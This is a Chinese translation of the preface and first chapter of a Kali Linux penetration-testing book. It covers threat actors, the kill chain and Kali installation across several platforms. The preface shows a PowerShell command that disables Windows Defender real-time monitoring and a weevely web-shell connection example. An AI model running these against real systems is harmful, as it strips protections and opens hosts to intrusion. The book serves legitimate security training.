精通-Kali-Linux-高级渗透测试第四版-一-

精通 Kali Linux 高级渗透测试第四版(一)

原文:annas-archive.org/md5/f5feb6589da538624c2172905f61ccec

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书讲述了如何使用 Kali Linux 对网络、系统和应用程序进行渗透测试。渗透测试模拟了一个恶意外部人员或内部人员对网络或系统的攻击。与漏洞评估不同,渗透测试设计包括了利用阶段。因此,它证明了漏洞的存在,并表明如果不采取措施,系统将面临被攻破的风险。

在本书中,我们将交替使用渗透测试员攻击者渗透测试者黑客等术语,因为他们使用相同的技术和工具来评估网络和数据系统的安全性。他们之间唯一的区别在于最终目标——渗透安全数据网络或发生数据泄露。

读者必须意识到,未经明确批准,故意扫描或访问受保护的计算机或网络是非法的

简而言之,本书将带你走进一位渗透测试员的旅程,介绍多种已验证的技术,利用 Kali Linux 突破网络上的最新防御。从选择最有效的工具,到快速入侵网络安全,再到强调避免检测的技巧。

本书适合的人群

如果你是一名渗透测试员、IT 专业人士或安全顾问,想要利用 Kali Linux 的一些高级功能最大化网络测试的成功率,那么本书适合你。如果你对渗透测试/道德黑客的基础有所了解,将有助于你从本书中获得最大收益。

本书内容涵盖

第一章基于目标的渗透测试,介绍了一个基于渗透测试方法论的功能性框架,该框架将贯穿全书。它确保了渗透测试过程将遵循一个连贯且全面的方法。

第二章开源情报与被动侦察,提供了如何利用公开的资源收集目标信息的背景,并介绍了简化侦察和信息管理的工具。

第三章外部与内部网络的主动侦察,向读者介绍了可以用来获取目标信息的隐秘方法,尤其是那些能够识别可被利用的漏洞信息。

第四章漏洞评估,教授了扫描网络及其设备以定位易受攻击和可能被入侵的系统的半自动化过程,以及收集所有侦察和漏洞扫描信息、评估这些信息并创建地图以指导渗透测试过程的步骤。

第五章高级社会工程学与物理安全,向你展示了为何能够物理访问系统或与管理系统的人员互动是最成功的利用方式。

第六章无线与蓝牙攻击,简要介绍了无线和蓝牙技术,并重点讲解了通过绕过安全措施来破坏这些网络的常用技术。

第七章攻击基于 Web 的应用,简要概述了最复杂的交付阶段之一:暴露于公共互联网的 Web 应用。

第八章云安全利用,专注于对 AWS 云基础设施的攻击,这些基础设施往往容易发生安全配置错误,并且与组织的主要网络保护程度相同。

第九章绕过安全控制,展示了最常见的安全控制措施,识别了克服这些控制的系统化过程,并使用 Kali 工具套件中的工具演示了这一过程。

第十章利用,演示了可以用于发现和执行漏洞的方法,使系统被攻击者攻破。

第十一章目标操作与横向移动,重点讨论了漏洞利用后的即时活动,以及横向升级的方面——即利用被攻破的系统作为起点,“跳跃”到网络中的其他系统。

第十二章权限提升,教导渗透测试人员控制系统操作的各个方面;更重要的是,获取一些访问权限,使测试人员能够控制网络中所有系统。

第十三章命令与控制,聚焦于现代攻击者会采取什么措施,将数据从目标系统中提取到攻击者的所在位置,并隐藏攻击证据。

第十四章嵌入式设备与 RFID 攻击,聚焦于现代攻击者如何对嵌入式设备进行结构化攻击,并克隆 NFC 卡。

为了从本书中获得最大的收获

为了练习本书中呈现的内容,你将需要虚拟化工具,如 VMware 或 VirtualBox。

你需要下载并配置 Kali Linux 操作系统及其工具套件。为了确保它是最新的,并且你拥有所有工具,你需要连接互联网。

可惜,由于 Kali Linux 系统中的工具过多,并不是所有工具都能在本书中得到讨论。本书的重点不是让你感到工具和选项过于繁杂,而是提供一种测试方法,使你能够学习并随着时间推移,结合新的工具和经验。

尽管本书中的大多数示例侧重于 Microsoft Windows,但该方法论和大多数工具也可以转移到其他操作系统,如 Linux 和其他 Unix 版本。

最后,本书将 Kali 用于完成针对目标系统的网络攻击链。你将需要一个目标操作系统。本书中的许多示例使用的是 Microsoft Windows 2016、Windows 10、Ubuntu 14.04 和 Windows 2008 R2\。

为了充分利用实验室练习,建议通过以管理员权限运行 PowerShell,并输入Set-MpPreference -DisableRealtimeMonitoring $true,禁用易受攻击的 Windows 服务器上的 Windows Defender。

下载示例代码文件

本书的代码包托管在 GitHub 上:github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E。我们还提供了来自我们丰富书籍和视频目录的其他代码包,可以在github.com/PacktPublishing/查看。

下载彩色图片

我们还提供了一个包含本书中所用截图/图表的彩色图片的 PDF 文件。你可以在此下载:static.packt-cdn.com/downloads/9781801819770_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 账号。例如:“将下载的WebStorm-10*.dmg磁盘映像文件挂载为系统中的另一个磁盘。”

一段代码的设置如下:

<!DOCTYPE foo [ <!ENTITY Variable  "hello" > ]><somexml><message>&Variable;</message></somexml> 

任何命令行输入或输出均按如下方式编写:

sudo weevely http://<target IP address><directory> <password> 

粗体:表示新术语、重要词汇或你在屏幕上看到的词汇,如在菜单或对话框中。例如:“一种越来越常见的防护设备是Web 应用防火墙WAF)和 DNS内容分发网络CDN)。”

警告或重要提示会以这种方式呈现。

提示和技巧会以这种方式呈现。

联系我们

我们随时欢迎读者的反馈。

一般反馈:电子邮件feedback@packtpub.com,并在邮件的主题中提到书名。如果你对本书的任何方面有疑问,请通过questions@packtpub.com给我们发邮件。

勘误:尽管我们已尽一切努力确保内容的准确性,但错误确实会发生。如果你在本书中发现了错误,我们将非常感激你能报告给我们。请访问www.packtpub.com/submit-errata,选择你的书籍,点击勘误提交表单链接,并填写相关详情。

盗版:如果你在互联网上发现我们作品的任何非法副本,我们将非常感激你能提供其位置地址或网站名称。请通过copyright@packtpub.com与我们联系,并附上该材料的链接。

如果你有兴趣成为作者:如果你在某个领域有专业知识,并有意写书或为书籍做贡献,请访问authors.packtpub.com

分享你的想法

一旦您阅读了《精通 Kali Linux 高级渗透测试,第四版》,我们很想听听您的想法!请点击此处前往亚马逊评论页面,并分享您的反馈意见。

你的评论对我们和技术社区至关重要,将帮助我们确保我们提供的内容质量卓越。

第一章:基于目标的渗透测试

新冠疫情改变了世界的运作方式。各类组织纷纷将工作方式从没有或部分远程工作转变为全员采用这种工作方式。在这种新常态下,远程技术对工作和个人生活变得至关重要。我们可以毫不犹豫地称之为虚拟世界,过去在封闭空间中进行的机密活动,现在都转移到了互联网中。这显著增加了至少五倍的网络威胁数量。威胁行为者利用这种数字化转型,利用用户和公司犯下的错误作为其进入点,进行财务收益、声誉损害或其他任何目的。此类活动表现为勒索软件、网络钓鱼和数据泄露。

为了理解当前和未来的工作方式,让我们从探讨威胁行为者的不同目标开始。本章将讨论不同类型的威胁行为者及其基于目标的渗透测试的重要性;我们还会探讨误解以及没有目标的漏洞扫描、渗透测试和红队演练如何失败。本章还提供了安全测试概述,并设置了验证实验室,重点介绍定制 Kali 以支持渗透测试中的一些高级方面。通过本章学习,你将覆盖以下内容:

  • 不同类型的威胁行为者

  • 安全测试概述

  • 漏洞扫描、渗透测试和红队演练的误解

  • Kali Linux 的历史与目的

  • 更新和组织 Kali

  • 在各种服务上安装 Kali(亚马逊 Web 服务/谷歌云平台/安卓)

  • 设置明确的目标

  • 构建验证实验室

让我们从那些利用技术基础设施的威胁行为者类型开始。

不同类型的威胁行为者

威胁行为者指的是对影响另一个实体的事件或事故负责的个体或实体。了解不同类型的威胁行为者及其常见动机非常重要,这将帮助我们在本书中理解不同的视角。表 1.1 提供了常见的威胁行为者、他们的动机和典型目标。

威胁行为者 常见动机 目标
国家或政府资助的行为者 军事、政治和技术议程 网络间谍活动、数据盗窃或任何其他国家为其经济利益而感兴趣的活动
有组织犯罪或网络犯罪分子 财务收益和利润 资金和有价值的数据
黑客活动分子/网络极端分子 动机重叠 关注曝光秘密和破坏他们认为对社会不利的服务/组织(黑客活动分子);关注造成伤害和破坏,以推动他们的事业(极端分子)
内部人员 报复 金钱或数据勒索或造成收入损失

表 1.1:各种威胁行为者及其动机

我们现在已经总结了四种主要的威胁行为者及其动机,可以在基于目标的渗透测试和红队演习中使用它们,以模拟真实的威胁场景。

安全测试的概念概览

现在我们已经了解了不同的威胁行为者;接下来,让我们理解一下组织究竟在保护什么,且是为了防范谁? 如果你问 100 位安全顾问什么是安全测试?,很可能你会收到 100 个不同的回答。

安全测试最简单的形式是一个过程,用来确认任何信息资产或系统是受到保护的,并且其功能按预期保持不变。

漏洞评估、渗透测试和红队演习的常见陷阱

在这一部分,我们将讨论一些关于传统/经典漏洞扫描、渗透测试和红队演习的误解和局限性。接下来,让我们用简单的术语来理解这三者的实际含义及其局限性:

  • 漏洞评估 (VA):通过漏洞扫描仪识别系统或网络中的漏洞或安全漏洞的过程。关于 VA 的一个误解是,它能够帮助你找到所有已知的漏洞;但这并不正确。VA 的局限性在于,它只能找到潜在的漏洞,并且完全取决于你使用的扫描器类型。它也可能包含许多误报,而且对于企业所有者来说,无法明确指出哪些漏洞不构成实际风险,哪些漏洞会被攻击者用来获取访问权限。VA 的最大陷阱是漏报,也就是扫描器没有发现系统或应用程序存在的问题。

  • 渗透测试 (pentesting):通过利用漏洞安全地模拟黑客场景的过程,对现有网络或业务的影响较小。由于测试人员会验证漏洞并尝试利用它们,因此假阳性较少。渗透测试的一个局限性是它仅使用当前已知的、公开的漏洞;这些漏洞大多专注于项目测试。我们经常在评估过程中听到渗透测试人员说,太棒了!获得 Root 权限了——但我们从不听到这样的问题,你能用它做什么? 这可能是由于各种原因,如项目限制,包括将高风险问题立即报告给客户,或者客户只对网络的某一部分感兴趣,并且只希望测试该部分。

    关于渗透测试的一个误解是,它为攻击者提供了网络的完整视图,并且一旦渗透测试完成,你就可以放心了。但当攻击者发现你的安全应用程序中的业务流程漏洞时,情况并非如此。

  • 红队演习 (RTE):一种集中评估组织防御网络威胁和通过任何可能手段提高安全性的有效性过程;在 RTE 期间,我们可以发现多种实现项目目标/场景和目标的方法,如通过定义的项目目标对活动的全面覆盖,包括网络钓鱼(诱使受害者通过电子邮件输入敏感信息或下载恶意内容)、语音钓鱼(通过电话诱使受害者提供或做出某些有恶意意图的行为)、“WhatsApp 钓鱼”(通过 WhatsApp 信息与受害者进行恶意互动)、无线、磁盘投放(USB 和 SSD)和物理渗透测试。RTE 的限制是受时间限制、预定义场景和假设环境的约束。通常,RTE 会在每种技术的全程监控模式下运行,战术按程序执行,但当真正的攻击者想要实现目标时,情况并非如此。

图 1.1 展示了三种活动在关注的广度和深度上的差异:

图 1.1:三种评估系统脆弱性的方法及其成功的广度和深度

通常,三种不同的测试方法都涉及到 黑客破坏 这个术语。我们将黑进你的网络,告诉你哪里存在弱点;但是等一下,客户或业务负责人能理解这些术语之间的区别吗?我们如何衡量它?标准是什么?我们什么时候知道黑客攻击或破坏已经完成?所有这些问题都指向一个问题:测试的目的是什么,主要目标是什么。

目标导向渗透测试

渗透测试/红队评估(RTE)的主要目标是确定实际风险,将扫描器的风险评级与实际风险区分开,并为每个资产提供一个风险值,同时评估组织品牌形象的风险。这不仅仅是关于他们有多少风险,而是他们暴露在多少风险中以及这些暴露有多容易被利用。

已经发现的威胁不一定构成风险,也无需进行演示;例如,跨站脚本攻击XSS)是一种脚本注入漏洞,能够窃取用户的凭据。如果一个经营交易公司的客户有一个提供静态内容的宣传网站,且该网站存在 XSS 漏洞,这可能对业务的影响不大。在这种情况下,客户可能会接受风险,并通过使用Web 应用防火墙WAF)来防止 XSS 攻击。然而,如果同样的漏洞出现在他们的主要交易网站上,那么这将是一个需要尽快修复的重大问题,因为公司面临着由于攻击者窃取用户凭据而失去客户信任的风险。

基于目标的渗透测试是时间驱动的,取决于组织所面临的具体问题。一个目标的例子是:我们最担心的是我们的数据被盗,以及因此产生的监管罚款。因此,目标现在是通过利用系统漏洞或通过钓鱼攻击操纵员工来获取数据;有时,当看到一些他们的数据已经出现在暗网上时,可能会感到惊讶。每个目标都有自己的战术、技术和程序TTP),这些将支持渗透测试活动的主要目标。在本书中,我们将使用 Kali Linux 2021.4 探索所有这些不同的方法论。

测试方法论

方法论很少考虑渗透测试的原因,或者哪些数据对于业务至关重要,必须加以保护。如果没有这个关键的第一步,渗透测试将失去焦点。

许多渗透测试员不愿意遵循定义好的方法论,担心这会妨碍他们在网络或应用程序中利用安全漏洞时的创造性。渗透测试无法真实反映恶意攻击者的实际活动。客户经常希望看到你是否能够获得某一系统的管理员访问权限(也就是说,你能获得系统的根权限吗?)。然而,攻击者可能专注于以不需要根权限或不会造成服务拒绝的方式复制关键信息。

为了应对正式测试方法论固有的局限性,必须将其整合到一个框架中,从攻击者的视角来看待网络,这被称为网络 杀链

2009 年,洛克希德·马丁公司的 Mike Cloppert 提出了如今被称为网络攻击链的概念。它包括对手在攻击网络时采取的步骤。它并不总是按线性流程进行,因为一些步骤可能是并行发生的。针对同一目标可能会在不同时间发起多个攻击,并且可能会出现重叠阶段。

在本书中,我们修改了 Cloppert 的网络攻击链,以更准确地反映攻击者在利用网络、应用程序和数据服务时如何应用这些步骤。图 1.2 显示了攻击者的典型网络攻击链:

图 1.2:攻击者可能遵循的典型网络攻击链

攻击者的典型网络攻击链可以描述如下:

  • 探索或侦察阶段:大多数军事组织采用的格言是,侦察时间从不浪费,这表明在与敌人交战之前,尽可能多地了解敌人是更好的。出于同样的原因,攻击者会在攻击之前对目标进行广泛的侦察。事实上,据估计,渗透测试或攻击的至少 70% 努力都用于侦察!通常,他们会采用两种类型的侦察:

    • 被动:没有与目标进行直接的敌对互动。例如,攻击者会审查公开可用的网站,评估在线媒体(尤其是社交媒体网站),并尝试确定目标的攻击面。其中一个具体任务是生成过去和当前员工的名单,甚至对公开可用的被攻破数据库进行调查。

      这些名字将成为使用暴力破解密码的尝试基础。它们还会在社交工程攻击中被使用。这种类型的侦察很难,甚至几乎不可能,与普通用户的行为区分开来。

    • 主动:目标可以检测到这一行为,但很难将其与大多数在线组织从常规流量中遇到的其他活动区分开来。在主动侦察阶段发生的活动包括对目标场所的实地访问、端口扫描和远程漏洞扫描。

  • 交付阶段:交付是选择和开发在攻击过程中用于完成漏洞利用的武器。所选择的具体武器将取决于攻击者的意图以及交付路线(例如,通过网络、无线连接或基于 Web 的服务)。交付阶段的影响将在本书的后半部分详细讨论。

  • 利用或破坏阶段:这是一个特定的漏洞被成功利用的阶段,允许攻击者在目标系统中站稳脚跟。破坏可能发生在单一阶段(例如,通过缓冲区溢出漏洞利用已知操作系统漏洞),也可能是多阶段的破坏(例如,攻击者可能会从 haveibeenpwned.com 或类似网站下载互联网上的数据;这些网站通常包含泄露的数据,包括用户名、密码、电话号码和电子邮件地址,攻击者可以利用这些数据轻松创建密码字典,尝试访问 软件即服务 (SaaS) 应用程序,如 Microsoft Office 365 或 Outlook Web,尝试直接登录企业 VPN,或使用电子邮件地址进行定向钓鱼攻击。攻击者甚至可能通过短信发送带有恶意链接的内容,进而传送恶意载荷)。多阶段攻击是恶意攻击者针对特定企业时的常见手段。

  • 达成阶段 – 执行目标:这一阶段经常被错误地称为数据外泄阶段,因为人们倾向于把攻击视为单纯为了窃取敏感数据(如登录信息、个人信息和财务信息)。实际上,攻击者可能有不同的目标;例如,攻击者可能希望在竞争对手的系统中投放勒索软件包,以迫使客户转向他们自己的业务。因此,这一阶段必须关注攻击者可能采取的多种行动。最常见的攻击行为之一是攻击者试图提升其访问权限至最高级别(纵向升级),并尽可能多地攻破账户(横向升级)。

  • 达成阶段 – 持续性:如果攻击网络或系统具有价值,那么如果能够保持持续访问,这个价值很可能会增加。这允许攻击者与被攻破的系统保持通信。从防御者的角度来看,这是网络杀伤链中通常最容易被检测到的部分。

网络杀伤链仅仅是攻击者在试图破坏网络或特定数据系统时的行为元模型。作为元模型,它可以结合任何专有的或商业的渗透测试方法。然而,与这些方法不同的是,网络杀伤链确保战略层面的重点,聚焦于攻击者如何接近网络。这一对攻击者活动的关注将指导本书的布局和内容。

Kali Linux 功能介绍

Kali LinuxKali)是 BackTrack 渗透测试平台的继任者,通常被视为用于保护数据和语音网络的渗透测试工具的事实标准包。它由 Offensive Security 的 Mati Aharoni 和 Devon Kearns 开发。该发行版主要用于渗透测试和数字取证。

2021 年,Kali 发布了四次更新。最新的滚动版本于 2021 年 12 月 9 日发布,内核为 5.14.0,桌面环境为 Xfce 4.16.3。此外,2021 年 12 月 23 日还发布了一个小版本更新,版本为 Kali 2021.4a。

该版本 Kali 的一些功能包括以下内容:

拥有超过 500 个先进的渗透测试、数据取证和防御工具。大多数旧的预安装工具已被删除,并由类似工具取代。它们提供广泛的无线支持,包含多个硬件和内核补丁,以支持一些无线攻击所需的包注入。表 1.2 提供了截至 2021 年 12 月工具按具体任务的详细分类:

工具类别 工具数量
信息收集 67
漏洞分析 27
无线攻击 54
网络应用 43
利用工具 21
取证工具 23
嗅探与欺骗 33
密码攻击 39
维持访问 17
逆向工程 11
硬件黑客 6
报告工具 10

表 1.2:可用工具的数量,按其使用的具体任务进行列出

Kali Linux 2021.4 的一些主要特点包括:

  • 支持多种桌面环境,如 KDE、GNOME3、Xfce、MATE、e17、lxde 和 i3wm.021。

  • 默认情况下,Kali Linux 拥有符合 Debian 标准的工具,并与 Debian 仓库同步,至少每日四次,使得更新包和应用安全修复更加简便。

  • 提供安全的开发环境和 GPG 签名的包及仓库。

  • 支持 ISO 定制,允许用户构建自己版本的定制 Kali,并仅包含有限的工具集,从而使其更加轻量。引导功能还执行全企业范围的网络安装,可以使用预种子文件自动化。

  • 由于基于 ARM 的系统变得更加普及且价格更低,Kali Linux 支持 ARMELARMHF,可以安装在如 rk3306 mk/ss808、Raspberry Pi、ODROID U2/X2、Samsung Chromebook、EfikaMX、Beaglebone Black、CuBox 和 Galaxy Note 10.1 等设备上。

  • Kali 仍然是一个免费的开源项目。最重要的是,它得到了活跃的在线社区的强力支持。

Kali 在红队战术中的作用

虽然渗透测试人员可能更喜欢任何类型的操作系统来执行他们想要的操作,但使用 Kali Linux 可以节省大量时间,并避免需要寻找在其他操作系统中通常不可用的软件包。一些在红队演练中不容易注意到的 Kali Linux 优势包括:

  • 一个单一的来源,可以攻击多种平台。

  • 添加源和安装软件包及支持库非常快速(特别是那些在 Windows 上不可用的)。

  • 使用 alien 工具,甚至可以安装 RPM 包。

Kali Linux 的目的是确保网络、云和应用程序基础设施的安全,并将所有工具捆绑在一个平台上,为渗透测试人员和取证分析师提供服务。

安装和更新 Kali Linux

在本书的前几版中,我们重点讲解了如何将 Kali Linux 安装到 VMware Player、VirtualBox、AWS 和使用 Docker 应用程序的 Raspberry Pi 上。在本节中,我们将介绍如何在这些相同平台上安装 Kali Linux,同时还包括 Google Cloud Platform 和非根安卓手机。

作为便携设备使用

将 Kali Linux 安装到便携设备上相当简单。在某些情况下,客户不允许在安全设施内使用外部笔记本电脑。在这些情况下,通常会由客户提供一台测试笔记本电脑给渗透测试人员进行扫描。通过便携设备运行 Kali Linux 在渗透测试或红队演练中具有更多优势:

  • 它可以放入口袋中(如果是 USB 驱动器或移动设备的话)。

  • 它可以在不对主机操作系统进行任何更改的情况下运行。

  • 你可以自定义 Kali Linux 的构建,甚至使存储具备持久性。

将 USB 驱动器转化为便携版 Kali Linux 有三个简单步骤:

  1. 从以下链接下载官方 Kali Linux 镜像:docs.kali.org/introduction/download-official-kali-linux-images

  2. 我们将使用开源工具 Rufus 来创建可启动磁盘。Rufus 有助于创建和格式化可启动驱动器。下载最新版本的 Rufus:github.com/pbatard/rufus/releases/

  3. 以管理员身份打开 Rufus 可执行文件。将 USB 驱动器插入可用的 USB 端口。浏览到你下载映像的所在位置。你应该能看到 图 1.3 所显示的内容。选择正确的驱动器名称,然后点击 开始

    图 1.3:运行 Rufus 将 Kali Linux 写入外部磁盘

安装完成后,关闭 Rufus 应用程序并安全地移除 USB 驱动器。Kali Linux 现在已准备好作为一个便携设备,可以插入任何笔记本电脑并启动。如果您计划在启动的实时磁盘上存储信息,请确保选择持久化分区大小,至少设置为 4 GB;然后在启动 Kali Linux 时选择实时 USB 持久化。如果您的主操作系统是 Linux,可以通过两个标准命令来实现:

sudo fdisk -l 

这将显示驱动器上所有已挂载的磁盘。dd 命令行工具执行转换和复制:

dd if=kali linux.iso of=/dev/nameofthedrive bs=512k 

if 用于输入文件,of 用于输出文件,bs 用于块大小。

在 Raspberry Pi 4 上安装 Kali

Raspberry Pi 是一种单板设备,结构紧凑,能够像功能齐全的计算机一样运行,且功能简约。这些设备在现场的 RTE 和渗透测试活动中非常有用。操作系统的基础从 SD 卡加载,就像普通计算机的硬盘一样。

您可以在一张高速 SD 卡上执行与上一节中概述的相同步骤,然后将其插入 Raspberry Pi。这样我们就可以无障碍地使用系统。如果安装成功,当从 Raspberry Pi 启动 Kali Linux 时,应该会出现以下屏幕。此次演示中使用的是 Raspberry Pi 4,并通过显示器访问 Pi 的操作系统:

一张包含文字、显示器、电子设备和屏幕的图片 自动生成的描述

图 1.4:成功在 Raspberry Pi 4 上安装 Kali Linux

在虚拟机上安装 Kali

在之前的版本中,我们讨论了如何将 Kali 安装到不同的虚拟化软件中。在这里,我们将做同样的事情,并简要介绍如何在这些设备上安装 Kali。

VMware Workstation Player

VMware Workstation Player,前身为 VMware Player,个人使用免费,并且作为 VMware 的商业产品提供给企业使用,作为一种桌面应用程序,允许虚拟机在主操作系统内运行。该应用程序可以从www.vmware.com/uk/products/workstation-player/workstation-player-evaluation.html下载。

我们将使用版本 16.1。下载完安装程序后,根据您的主操作系统安装 VMware Player。如果安装完成,您应该看到类似于图 1.5中显示的屏幕:

图形用户界面,应用程序,Word 自动生成的描述

图 1.5:成功安装 VMware Workstation Player

在 VMware 上安装 Kali Linux 的下一步是点击创建新的虚拟机并选择安装程序磁盘映像文件(iso)。浏览到您已下载的 ISO 文件,然后点击下一步。现在,您可以输入自己喜欢的名称(例如,HackBox)并选择自定义位置,指定您想存储 VMware 映像的地方。点击下一步并指定磁盘容量。建议使用至少 2 GB 的 RAM,并且需要 15 GB 的磁盘空间来运行 Kali。点击下一步直到完成。

另一种方法是直接下载 VMware 映像:

www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/

打开 .vmx 文件并选择我已复制它。这应该会启动完全加载的 Kali Linux 在 VMware 中。您可以选择将 Kali Linux 安装为主机操作系统,或者作为实时映像运行。一旦所有安装步骤完成,您就可以毫无问题地从 VMware 启动 Kali Linux。图 1.6 显示的是应看到的界面:

计算机屏幕截图  自动生成的描述,信心较低

图 1.6:Kali Linux 成功安装在 VMware 上后的显示界面

VirtualBox

与 VMware 工作站播放器类似,VirtualBox 是一个完全开源的虚拟机管理程序,它是一个免费的桌面应用程序,可以从主机操作系统运行任何虚拟机。此应用程序可以从www.virtualbox.org/wiki/Downloads下载。

接下来,我们将在 VirtualBox 上安装 Kali。与 VMware 类似,我们只需执行已下载的可执行文件,直到成功安装 Oracle VirtualBox,如图 1.7所示:

图形用户界面,文本,应用程序,电子邮件  自动生成的描述

图 1.7:成功安装 VM VirtualBox 后显示的界面

在安装过程中,建议将 RAM 设置为至少 1 或 2 GB,并且创建虚拟硬盘时,最低应为 15 GB,以避免出现性能问题。完成最后一步后,您应该能够在 VirtualBox 中加载 Kali Linux,如图 1.8所示:

图 1.8:Kali Linux 在 VM VirtualBox 中的显示

完成此步骤后,我们现在可以通过 VirtualBox 使用 Kali Linux。然而,我们将在后面的章节中探讨不同的网络选项,实验室网络

安装到 Docker 设备

Docker 是一个开源项目,旨在自动化软件容器和应用程序的部署。Docker 还提供了在 Linux 或 Windows 上的操作系统级虚拟化的额外抽象和自动化层。

Docker 适用于 Windows、Mac、Linux 和 AWS。对于 Windows,可以从www.docker.com/get-started下载 Docker。

Docker 安装后,使用以下命令运行 Kali Linux 应该是相当简单的:

sudo docker pull kalilinux/kali-rolling
sudo docker run -t -i kalilinux/kali-linux-docker /bin/bash 

这些命令可以在命令提示符(Windows)或终端(Linux 或 Mac)中执行,以确认安装是否成功。

我们应该能够直接从 Docker 运行 Kali Linux,如图 1.9所示。还要注意,Docker 使用基于容器的技术,它运行的是与操作系统其余部分隔离的进程,并且共享主机操作系统的内核。虽然 VirtualBox 环境并非基于容器的技术,但它虚拟化硬件并共享物理主机的硬件资源:

图形用户界面 描述自动生成,具有中等置信度图 1.9:使用 Docker 成功安装 Kali Linux

一旦 Kali Linux Docker 镜像下载完成,你可以通过在命令提示符或终端中运行docker run --tty --interactive kalilinux/kali-rolling /bin/bash来运行 Docker 镜像。你应该能看到与图 1.10所示相同的界面:

计算机屏幕截图 描述自动生成,具有中等置信度

图 1.10:成功运行 Kali Linux 来自 Docker

如果你的基础操作系统是 Windows 10,请确保在系统 BIOS 中启用 VT-X 以及Hyper-V。请注意,启用Hyper-V会禁用 VirtualBox,如图 1.11所示:

图 1.11:安装 Docker 时显示的警告

读者应当注意,接下来的部分涉及使用商业服务,如 AWS 和 Google Cloud Platform,这可能会在使用过程中产生费用。建议读者在测试完成后,完全删除或终止实例。

在 AWS 云上的 Kali

亚马逊网络服务(AWS)将 Kali Linux 作为亚马逊机器接口(AMI)和SaaS的一部分提供。如今,大多数安全测试公司利用 AWS 进行渗透测试和更高效的钓鱼攻击。本节将介绍在 AWS 上启动 Kali Linux 的步骤。

首先,你需要拥有一个有效的 AWS 账户。你可以通过访问以下网址进行注册:console.aws.amazon.com/console/home

登录到 AWS 账户时,我们应该能够看到所有的 AWS 服务。搜索 Kali Linux,接着应该会显示以下内容,如图 1.12所示。

此页面也可以通过以下链接访问:aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to:

图形用户界面,文本,网站 描述自动生成

图 1.12:AWS Marketplace 中预配置的 Kali Linux

开源社区已将直接从 AWS Marketplace 启动预配置的 Kali Linux 2021.4 实例变得非常简单。接下来,我们将直接启动 Kali Linux,仅需几分钟:aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to

按照说明操作;然后你应该能够通过选择继续订阅来启动 Kali 实例。如果尚未登录,这将带你到 AWS 的登录页面。点击继续配置,继续点击继续启动,你应该会到达图 1.13所示的页面。从选择操作中,选择通过 EC2 启动选项,同样在图 1.13中显示;最后,点击启动

图 1.13:选择通过 EC2 启动 Kali Linux 的方法

下一个屏幕将允许你选择实例类型;选择t2.micro(符合免费套餐资格)并点击审查并启动。最后,你应该会到达审查实例启动页面;点击启动。这将带你到一个可以创建新密钥对的页面,如图 1.14所示:

图 1.14:创建新的密钥对以连接到 AWS 实例

如常,为了使用任何 AWS 虚拟机,必须创建自己的密钥对,以确保环境的安全。然后,你应该能够通过在命令行中输入以下命令登录。为了使用私钥免密登录,Amazon 强制要求文件权限进行隧道传输。我们将使用以下命令从终端连接到 Kali Linux 实例:

chmod 400 privatekey.pem
ssh -i privatekey.pem kali@PublicIPofAWS 

所有 Windows 用户可以通过运行以下命令,利用 Windows PowerShell 连接到实例:

ssh -i privatekey.pem kali@PublicIPofAWS 

图 1.15 展示了在 AWS 上成功使用 Kali:

图 1.15:成功连接到 AWS 中的 Kali Linux 实例

必须满足所有条款和条件才能利用 AWS 进行渗透测试。在从云主机发起任何攻击之前,必须满足法律条款和条件。

在 Google Cloud Platform (GCP) 上的 Kali

与 AWS 不同,Google Cloud Marketplace 中没有现成的 Kali Linux 版本。因此,我们将采用不同的方法来启动 GCP 上的 Kali Linux。按照我们安装 Kali 在 VirtualBox 上的相同步骤,这次同样使用 12 GB 的硬盘空间和 2 GB 的内存。我们将利用本地镜像上传到 Google 存储桶,并通过计算引擎运行此实例。在此之前,我们必须确保在安装完成并登录 Kali Linux 后,启动 SSH 服务以使其保持持久,以下命令将在 Kali Linux 虚拟机的终端中运行:

sudo systemctl start ssh
sudo update-rc.d -f ssh enable 2 3 4 5
sudo reboot 

由于某些原因,GCP 不会部署启用了软盘的 VirtualBox 镜像,因此我们将通过选择 Kali,进入设置,然后选择系统,并取消选中启动顺序中的软盘来移除软盘,如图 1.16所示:

图 1.16:启用软盘后,在启动顺序选项下,GCP 无法部署 VirtualBox 镜像

下一个重要步骤是确保我们的镜像能够连接到 GCP 的网络,获取 DHCP,并获得公共 IP 地址;因此,必须通过选择 Kali,进入设置,然后选择网络,点击高级并将适配器类型更改为虚拟化网络,如图 1.17所示:

图 1.17:在 VirtualBox 中选择虚拟化网络

还建议移除音频功能,以避免兼容性问题;选择 Kali,进入设置音频,然后取消选中启用音频,如图 1.18所示:

图 1.18:在音频部分选择“启用音频”选项时,GCP 可能无法正常工作

现在我们必须将虚拟磁盘镜像VDI)转换为 RAW 格式,并应用命名约定 disk.raw,以便 Google 的镜像自动化软件可以使用。

我们将利用通用的开源机器模拟器和虚拟化工具(QEMU)来转换 VDI 或 VMDK 文件为 RAW 格式。在接下来的步骤中,我们将转换 VDI 格式(类似的步骤也适用于 VMDK 文件):

  1. 导航到你保存磁盘镜像的 VirtualBox 位置。

  2. 确保在本地系统中安装了 qemu-img:

    • 可以通过从www.qemu.org/download/#windows下载应用程序,在 Windows 中安装此工具

    • 可以通过运行命令sudo apt install qemu-imgbrew install qemu-img在 Linux 或 macOS 系统中安装此工具

  3. 要转换镜像,可以在相应的终端或命令提示符中运行以下命令:

    qemu-img convert –f vdi –O raw nameofthevm.vdi disk.raw 
    
  4. 一旦创建了 disk.raw 文件,为了减少上传大小,我们将把原始磁盘压缩成 tar.gz 格式。然而,最好使用 gtar,因为 Google 强烈依赖此工具。对于 Windows 用户,这些工具并未预安装,但可以从gnuwin32.sourceforge.net/packages/gtar.htm直接下载该工具。

    你可以通过在 Linux 和 macOS 系统上运行命令gtar –cSzf kali.tar.gz disk.raw或在 Windows 上运行tar –zcvf kali.tar.gz disk.raw来创建最终的 GCP 兼容镜像。

现在我们已经准备好将自己的镜像上传到 GCP。创建一个 GCP 账户或使用现有账户登录该服务。与 Microsoft 类似,GCP 也为用户提供了免费信用额度选项,供用户体验其云计算服务。启动 Kali Linux 在 GCP 上的步骤如下:

  1. 登录到 console.cloud.google.com/

  2. 导航到 Cloud Storage 并选择 Browser,然后点击 Create a Bucket

